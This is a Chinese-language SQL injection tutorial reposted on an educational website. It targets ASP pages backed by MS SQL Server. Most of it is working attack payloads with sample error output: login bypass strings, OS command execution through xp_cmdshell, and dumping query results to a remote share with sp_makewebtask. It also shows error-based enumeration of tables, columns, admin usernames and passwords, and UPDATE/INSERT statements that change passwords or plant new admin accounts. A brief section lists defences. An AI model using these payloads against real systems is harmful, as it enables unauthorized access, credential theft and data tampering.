网站导航网学 原创论文 原创专题 网站设计 最新系统 原创论文 论文降重 发表论文 论文发表 UI设计定制 论文答辩PPT格式排版 期刊发表 论文专题
返回网学首页
网学原创论文
最新论文 推荐专题 热门论文 论文专题
当前位置: 网学 > 交易代码 > SQL语法 > 正文

SQLInjection技巧的演练

论文降重修改服务、格式排版等 获取论文 论文降重及排版 论文发表 相关服务

【网学网提醒】:网学会员为大家收集整理了SQLInjection技巧的演练提供大家参考,希望对大家有所帮助!


    摘要:
    下文是为了帮助那些希望能掌握这个漏洞的运用、并想得知如何保护自己免受这种漏洞攻击的人了解该漏
    洞的本质而写的。
    详细资料:
    1.0绪论
    当一台机器只开放了80端口(这里指的是提供HTTP服务)时,可能你的大多数漏洞扫描器都不能给到你很多
    有价值的信息(漏洞信息),倘若这台机器的管理员是经常为他的服务器打PATCH的话,我们只好把攻击的
    矛头指向WEB服务攻击了。SQL注入攻击是WEB攻击类型中的一种,这种攻击没有什么特殊的要求,只需要
    对方提供正常的HTTP服务,且不需要理会管理员是否是个“PATCH狂”。这类攻击主要是针对某种WEB处理
    程序(如ASP,JSP,PHP,CGI等等)的而进行。
    这篇文章不是在为阁下介绍什么新“玩意”,SQL注入攻击以前就一直广为流传着。我之所以现在才写这
    篇文章是因为我想把我最近实验所得的某些经验与积累记录下来,希望能给予读者某些参考吧。你也可以
    在“9.0我从哪里可以得到更多相关资料?”的栏目中找到更多其他人所写的、关于SQL注入技巧的相关资
    料。
    1.1什么是SQL注入?
    这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的HTTP提交请求中从而达到攻击
    者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请
    求发给数据库的。举个例子,当有某个用户需要通过网页上的用户登陆(用户身份验证)时,动态网页会将
    该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用户提交的身份验证信息是否
    有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修改用户名与/或密码值的‘领
    域’区来达到攻击的目的。
    1.2SQL注入需要什么(工具等)呢?
    一个(些)网页浏览器。
    2.0什么信息是你所需要找寻的呢?
    首先你需要找到允许提交数据的页面,如:登陆页面、搜索页面、反馈页面、等等。有的时候,某些HTML
    页面会通过POST命令将所需要的参数传递给其他的ASP页面。所以,有的时候你不会在URL路径中看到相关
    的参数。尽管如此,你仍可以通过查看HTML的源代码中的"FORM"标签来辨别是否有参数传递,相关的代码
    如下:
    
    
    
    在
的标签对间的每一个参数传递都有可能可以被利用(利用在攻击的情况下)着SQL注入。
    2.1当你找不到有输入行为的页面时应该怎么办呢?
    你可以找一些相关ASP、JSP、CGI或PHP这类型的页面。尝试找一些带有某些参数的特殊URL,如:
    duck/index.asp?id=10
    3.0你应该如何测试这些缺陷是否存
    在呢?
    首先先加入某些特殊的字符标记,输入如:
    hi'or1=1--
    寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:
    -Login:hi'or1=1--
    -Pass:hi'or1=1--
    -duck/index.asp?id=hi'or1=1--
    如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分
    的值,如:
    
    
    
    如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。
    3.1为什么使用的是'or1=1--呢?
    让我们来看看其他例子中使用'or1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能
    可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
    duck/index.asp?category=food
    在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接成功),
    这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
    v_cat=request("category")
    sqlstr="SELECT*FROMproductWHEREPCategory='"&;v_cat&;"'"
    setrs=conn.execute(sqlstr)
    正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语句将会变为:
    SELECT*FROMproductWHEREPCategory='food'
    这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是'food'了。现在设想一下如果
    我们把该URL改成这样的话:
    duck/index.asp?category=food'or1=1--
    现在我们的变量v_cat的值就等同于"food'or1=1--"了,现在如果我们要重新代入那条SQL请求的话,
    那条SQL请求将会是:
    SELECT*FROMproductWHEREPCategory='food'or1=1--'
    现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于'food'。至于结尾
    部分的那两条'--'(破折号)则用于‘告诉’MSSQLSERVER忽略结尾最后的那个'(单引号)。有的时候也
    可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。
    无论如何,如果对方不是一台SQL服务器(这里指的是MSSQLSERVER),或者你不能使用简单的方法去忽
    略最后的那个单引号的话,你可以尝试:
    'or'a'='a
    这样的话整个SQL请求将会变为:
    SELECT*FROMproductWHEREPCategory='food'or'a'='a'
    它也会返回相同的结果。
    根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
    'or1=1--
    "or1=1--
    or1=1--
    'or'a'='a
    "or"a"="a
    ')or('a'='a
    4.0如何在SQL注入请求中加入即时执行命令?
    能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命
    令执行请求。默认的MSSQL服务器是运行在SYSTEM用户级别下的,这等同于系统管
    理员的执行与访问权
    限。我们可以使用MSSQLSERVER的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命
    令:
    ';execmaster..xp_cmdshell'ping10.10.1.2'--
    若失败可以尝试一下使用"(双引号)代替'(单引号)。
    上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上
    面这条PING命令是否成功,你可以在10.10.1.2这台机器上监听ICMP请求包,并确认它是否来自那台SQL
    服务器就可以了:
    #tcpdumpicmp
    如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能
    是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。
    5.0如何可以获取到我发的SQL请求的相关返回信息呢?
    我们可以使用sp_makewebtask处理过程的相关请求写入URL:
    ';EXECmaster..sp_makewebtask"\\10.10.1.3\share\output.html","SELECT*FROMINFORMATION
    _SCHEMA.TABLES"
    但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。
    6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?
    我们可以通过发送精心构造的SQL请求迫使MSSQLSERVER从返回的信息中透露出我们想得到的信息(如表
    名、列名等)。比方有这么一个URL:
    duck/index.asp?id=10
    在上面的URL中我们可以尝试使用UNION子句的方式在整数'10'之后加入其他请求字符串进去的,如:
    duck/index.asp?id=10UNIONSELECTTOP1TABLE_NAMEFROMINFORMATION_SCHEMA.TABLES--
    上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就
    包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询
    问请求就是:
    SELECTTOP1TABLE_NAMEFROMINFORMATION_SCHEMA.TABLES-
    服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之
    后时,MSSQLSERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int
    )时,系统就会产生错误。服务器会显示如下错误信息:
    MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
    [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'
    table1'toacolumnofdatatypeint.
    /index.asp,line5
    非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例
    中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:
    duck/index.asp?id=10UNIONSELECTTOP1TABLE_NAMEFROMINFORMATION_SCHEMA.TABLESWH
    ERETABLE_NAMENOTIN('table1')--
    我们也可以通过LIKE来找寻相关的特殊字:
    duck/index.asp?id=10UNIONSEL
    ECTTOP1TABLE_NAMEFROMINFORMATION_SCHEMA.TABLESWH
    ERETABLE_NAMELIKE'%25login%25'--
    输出得到:
    MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
    [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'
    admin_login'toacolumnofdatatypeint.
    /index.asp,line5
    6.1如何找出表中的列名?
    我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:
    duck/index.asp?id=10UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNS
    WHERETABLE_NAME='admin_login'--
    输出显示为:
    MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
    [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'
    login_id'toacolumnofdatatypeint.
    /index.asp,line5
    现在已经得到第一个列的名称了,我们还可以用NOTIN()得到下一个列名:
    duck/index.asp?id=10UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNS
    WHERETABLE_NAME='admin_login'WHERECOLUMN_NAMENOTIN('login_id')--
    输出得到:
    MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
    [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'
    login_name'toacolumnofdatatypeint.
    /index.asp,line5
    若继续重复这样的操作,我们将可以获得余下所有的列名,如"password"、"details"。当我们使用了下
    面的请求后就可以得到(除了'login_id','login_name','password',details'之外的列名):
    duck/index.asp?id=10UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNS
    WHERETABLE_NAME='admin_login'WHERECOLUMN_NAMENOTIN('login_id','login_name','password'
    ,details')--
    输出后得到:
    MicrosoftOLEDBProviderforODBCDriverserror'80040e14'
    [Microsoft][ODBCSQLServerDriver][SQLServer]ORDERBYitemsmustappearintheselectlis
    tifthestatementcontainsaUNIONoperator.
    /index.asp,line5
    6.2如何找到我们需要的数据?
    现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。
    现在让我们问问"admin_login"表的第一个用户名是什么吧:
    duck/index.asp?id=10UNIONSELECTTOP1login_nameFROMadmin_login--
    输出:
    MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
    [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'
    neo'toacolumnofdatatypeint.
    /index.asp,line5
    知道了一个管理员帐号是"neo"。最后,问问这个管理员帐号的密码是什么吧:
    duck/index.asp?id=10UNIONSELECTTOP1passwordFROMadmin_loginwherelogin_name='
    neo'--
    输出:
    MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
    [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'
    m4trix'toacolumnofdatatypeint.
    /index.asp,line5
    现在我们可以用"neo"与他
    的密码("m4trix")来登陆系统了。
    6.3如何获得数字串值?
    在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法
    得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为"trinity"的密码,而它所对应
    的密码为"31173":
    duck/index.asp?id=10UNIONSELECTTOP1passwordFROMadmin_loginwherelogin_name='
    trinity'--
    这样我们大概只能得到“PageNotFound”这样的错误提示。这其中的主要问题在于,在与整数(这个例
    子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转换为数值。这样的话这个UN
    ION字句调用就是‘合法’的了,SQL服务器将不会返回任何ODBC错误信息,因而我们是不可能得到这些
    数字型数据的。
    为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试
    用下面的这条请求来代替原来的请求吧:
    duck/index.asp?id=10UNIONSELECTTOP1convert(int,password%2b'%20morpheus')FROM
    admin_loginwherelogin_name='trinity'--
    在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在ASCII中'+'等于0x2b)。我
    们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到
    了数字串'31173',它也会变成'31173morpheus'。
    在执行了convert()函数后,系统会尝试将'31173morpheus'转换为整数型,SQL服务器一定会返回这样
    的ODBC错误信息:
    MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
    [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue'
    31173morpheus'toacolumnofdatatypeint.
    /index.asp,line5
    现在你可以知道'trinity'的密码是'31173'了吧。
    7.0如何在数据库中更新/插入数据?
    当成功地收集到表中所有的列后,我们就可以在表中UPDATE(升级/修改)原有的数据或者INSERT(加入)新
    的数据。打个比方,我们要修改帐号"neo"的密码:
    duck/index.asp?id=10;UPDATE'admin_login'SET'password'='newpas5'WHERElogin_na
    me='neo'--
    加入一条新的记录:
    duck/index.asp?id=10;INSERTINTO'admin_login'('login_id','login_name','password
    ','details')VALUES(666,'neo2','newpas5','NA')--
    现在我们就可以以帐号"neo2"、密码"newpas5"登陆系统了。
    8.0如何避免被SQL注入攻击?
    过滤一些特殊像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,过滤的对象包括:
    -用户的输入
    -提交的URL请求中的参数部分
    -从cookie中得到的数据
    至于数字值,将其转换为整数型之前必须有SQL语句声明,或者用ISNUMERIC确定它为一个整型数。
    修改“StartupandrunSQLServer”的用户运行级别为低级别
    。
    删除一系列你不需要的储存过程,如:
    master..Xp_cmdshell,xp_startmail,xp_sendmail,sp_makewebtask
    9.0我从哪里可以得到更多相关资料?
    我们最初接触到SQL注入攻击是在RainForestPuppy有关他入侵PacketStorm的文章中提到的。
    wiretrip.net/rfp/p/doc.asp?id=42&;iface=6
    一篇收集了ODBC错误信息的好文章:
    blackhat/presentations/win-...1Litchfield.doc
    关于在SQLSERVER中进行SQL注入的好文章:
    owasp.org/asac/input_validation/sql.shtml
    Senseport网站所著的关于SQL注入的文章:
    sensepost/misc/SQLinsertion.htm
    其他相关文档:
    digitaloffense.net/wargames01/IOWargames.ppt
    wiretrip.net/rfp/p/doc.asp?id=7&;iface=6
    wiretrip.net/rfp/p/doc.asp?id=60&;iface=6
    spidynamics/whitepapers/Whi...QLInjection.pdf
    
  • 上一篇资讯: SQLInjection攻击技术
  • 下一篇资讯: SQLAND&;OR运算符
  • 设为首页 | 加入收藏 | 网学首页 | 原创论文 | 计算机原创
    版权所有 网学网 [Myeducs.cn] 您电脑的分辨率是 像素
    Copyright 2008-2020 myeducs.Cn www.myeducs.Cn All Rights Reserved 湘ICP备09003080号 常年法律顾问:王律师